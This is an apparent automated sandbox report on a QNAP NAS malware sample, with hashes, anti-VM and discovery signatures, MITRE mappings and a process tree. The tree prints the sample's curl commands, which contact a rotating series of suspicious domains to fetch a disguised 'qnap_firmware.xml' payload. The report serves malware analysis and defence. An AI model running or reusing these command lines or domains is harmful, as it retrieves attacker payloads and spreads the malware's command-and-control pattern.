ba18ff142bae31457031ca49e772b10792ad3a5bdead90cb2c1d37e2a6c2fd59

Analysis

max time kernel
145s
max time network
284s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17-02-2025 17:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86da
Size

18KB
MD5

8cee2a187198648c199c1d135c918a3a
SHA1

a9f39f3b832344a79d32d92ac56c50cdaff0b93c
SHA256

09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764
SHA512

bb4a8c108c08b4da2ee36f8876c53c2ad28f793cc5ed9999eb81fcead95123adc13d6c718dc3c10e0be75c2b0760251d756a95c61341ff99a84be576d5d00374
SSDEEP

384:S0DO7oJgfOzs0KoWI3xMrKPDWsqLb0Tx75nrzoAU1j:L6TOzs0KfoxBBVcJ

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 28 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/mountinfo	mount
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	sed

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/.rsakey	09ab3031796bea1b8b79fcfd2b86da
File opened for modification	/tmp/Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/.tmp.GPEvQt	mktemp
File opened for modification	/tmp/Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/.tmp.GPEvQt	curl

/tmp/Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86da
/tmp/Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86da
1⤵
- Writes file to tmp directory
PID:777
- /bin/readlink
  readlink /share/Public
  2⤵
  PID:778
- /bin/readlink
  readlink /share/Download
  2⤵
  PID:779
- /bin/readlink
  readlink /share/Multimedia
  2⤵
  PID:780
- /bin/readlink
  readlink /share/Web
  2⤵
  PID:784
- /bin/readlink
  readlink /share/Recordings
  2⤵
  PID:785
- /bin/readlink
  readlink /share/homes
  2⤵
  PID:786
- /bin/sed
  sed -n "s/.*\\(\\/share\\/[^ /]\\+\\) .*/\\1/gp"
  2⤵
  PID:792
- /bin/mount
  mount
  2⤵
  - Reads runtime system information
  PID:791
- /usr/bin/head
  head -n 1
  2⤵
  PID:793
- /bin/grep
  grep -F
  2⤵
  PID:794
- /bin/mkdir
  mkdir /mnt/HDA_ROOT/.qpkg
  2⤵
  PID:795
- /bin/mkdir
  mkdir /mnt/HDA_ROOT/.qpkg/.config
  2⤵
  - Reads runtime system information
  PID:796
- /bin/mktemp
  mktemp ./.tmp.XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/sed
  sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g"
  2⤵
  - Reads runtime system information
  PID:802
- /usr/bin/openssl
  openssl dgst -sha1 -binary
  2⤵
  PID:800
- /bin/date
  date "+%s"
  2⤵
  PID:803
- /usr/bin/openssl
  openssl base64
  2⤵
  PID:801
- /bin/rm
  rm -f ./.tmp.GPEvQt
  2⤵
  PID:804
- /bin/date
  date "+%s"
  2⤵
  PID:805
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://pw8gjw.cf/qnap_firmware.xml?t=1739812179"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:806
- /bin/date
  date "+%s"
  2⤵
  PID:808
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://pw8gjw2.cf/qnap_firmware.xml?t=1739812179"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:809
- /bin/date
  date "+%s"
  2⤵
  PID:811
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://pw8gjw2f.cf/qnap_firmware.xml?t=1739812180"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:812
- /bin/date
  date "+%s"
  2⤵
  PID:815
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://pw8gjw2fy.cf/qnap_firmware.xml?t=1739812186"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:816
- /bin/date
  date "+%s"
  2⤵
  PID:819
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://pw8gjw2fyf.cf/qnap_firmware.xml?t=1739812192"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:820
- /usr/bin/openssl
  openssl base64
  2⤵
  PID:825
- /bin/sed
  sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g"
  2⤵
  - Reads runtime system information
  PID:826
- /usr/bin/openssl
  openssl dgst -sha1 -binary
  2⤵
  PID:824
- /bin/date
  date "+%s"
  2⤵
  PID:827
- /bin/date
  date "+%s"
  2⤵
  PID:828
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://lsdqn4.tk/qnap_firmware.xml?t=1739812193"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:829
- /bin/date
  date "+%s"
  2⤵
  PID:831
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://lsdqn4h.tk/qnap_firmware.xml?t=1739812193"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:832
- /bin/date
  date "+%s"
  2⤵
  PID:836
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://lsdqn4hd.tk/qnap_firmware.xml?t=1739812199"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:837
- /bin/date
  date "+%s"
  2⤵
  PID:839
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://lsdqn4hdj.tk/qnap_firmware.xml?t=1739812200"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:840
- /bin/date
  date "+%s"
  2⤵
  PID:842
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://lsdqn4hdjj.tk/qnap_firmware.xml?t=1739812201"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:843
- /usr/bin/openssl
  openssl base64
  2⤵
  PID:848
- /bin/sed
  sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g"
  2⤵
  - Reads runtime system information
  PID:849
- /usr/bin/openssl
  openssl dgst -sha1 -binary
  2⤵
  PID:847
- /bin/date
  date "+%s"
  2⤵
  PID:850
- /bin/date
  date "+%s"
  2⤵
  PID:853
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://mkcwki.ml/qnap_firmware.xml?t=1739812207"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:854
- /bin/date
  date "+%s"
  2⤵
  PID:858
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://mkcwkic.ml/qnap_firmware.xml?t=1739812218"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:859
- /bin/date
  date "+%s"
  2⤵
  PID:864
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://mkcwkica.ml/qnap_firmware.xml?t=1739812231"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:865
- /bin/date
  date "+%s"
  2⤵
  PID:867
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://mkcwkican.ml/qnap_firmware.xml?t=1739812236"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:868
- /bin/date
  date "+%s"
  2⤵
  PID:872
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://mkcwkicani.ml/qnap_firmware.xml?t=1739812238"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:873
- /bin/sed
  sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g"
  2⤵
  - Reads runtime system information
  PID:881
- /usr/bin/openssl
  openssl dgst -sha1 -binary
  2⤵
  PID:879
- /bin/date
  date "+%s"
  2⤵
  PID:882
- /usr/bin/openssl
  openssl base64
  2⤵
  PID:880
- /bin/date
  date "+%s"
  2⤵
  PID:883
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://ze0fah.ga/qnap_firmware.xml?t=1739812251"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:884
- /bin/date
  date "+%s"
  2⤵
  PID:886
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://ze0fahd.ga/qnap_firmware.xml?t=1739812252"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:887
- /bin/date
  date "+%s"
  2⤵
  PID:889
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://ze0fahdz.ga/qnap_firmware.xml?t=1739812252"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:890
- /bin/date
  date "+%s"
  2⤵
  PID:892
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://ze0fahdzu.ga/qnap_firmware.xml?t=1739812253"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:893
- /bin/date
  date "+%s"
  2⤵
  PID:897
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://ze0fahdzuo.ga/qnap_firmware.xml?t=1739812264"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:898
- /usr/bin/openssl
  openssl dgst -sha1 -binary
  2⤵
  PID:904
- /usr/bin/openssl
  openssl base64
  2⤵
  PID:905
- /bin/sed
  sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g"
  2⤵
  - Reads runtime system information
  PID:906
- /bin/date
  date "+%s"
  2⤵
  PID:907
- /bin/date
  date "+%s"
  2⤵
  PID:908
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://otozvp.gq/qnap_firmware.xml?t=1739812277"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:909
- /bin/date
  date "+%s"
  2⤵
  PID:911
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://otozvpm.gq/qnap_firmware.xml?t=1739812278"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:912
- /bin/date
  date "+%s"
  2⤵
  PID:916
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://otozvpmr.gq/qnap_firmware.xml?t=1739812288"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:917
- /bin/date
  date "+%s"
  2⤵
  PID:921
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://otozvpmrg.gq/qnap_firmware.xml?t=1739812289"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:922
- /bin/date
  date "+%s"
  2⤵
  PID:924
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://otozvpmrgw.gq/qnap_firmware.xml?t=1739812295"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:925
- /usr/bin/openssl
  openssl dgst -sha1 -binary
  2⤵
  PID:931
- /usr/bin/openssl
  openssl base64
  2⤵
  PID:932
- /bin/sed
  sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g"
  2⤵
  - Reads runtime system information
  PID:933
- /bin/date
  date "+%s"
  2⤵
  PID:934
- /bin/date
  date "+%s"
  2⤵
  PID:935
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://yk0yee.com/qnap_firmware.xml?t=1739812306"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/rm
  rm -f ./.tmp.GPEvQt
  2⤵
  PID:940
- /bin/date
  date "+%s"
  2⤵
  PID:941
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://yk0yeem.com/qnap_firmware.xml?t=1739812309"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:942
- /bin/date
  date "+%s"
  2⤵
  PID:946
- /usr/bin/curl
  curl --connect-timeout 12 -m 30 -k -o ./.tmp.GPEvQt "https://yk0yeemh.com/qnap_firmware.xml?t=1739812322"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:947

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Malware-Feed-master/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/.rsakey

Filesize
625B

MD5
3536dc15bba5feac11bcc94f92927133

SHA1
f91396be5681a92f43d7be0724b0640999aebe01

SHA256
ce4b1a7c87e73a3308f964c1b4d15237fdf5bf39febfbfca0c6eb6badda9b9e2

SHA512
20029ab8c92349a3a2d6ea9148838db8feac3fb7e041edbd7f2683e9f4c9cc7b46bb69d0a2e742c05e419f3f6f64dd62d480fa409bce3947a6fe7052075fee5d

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads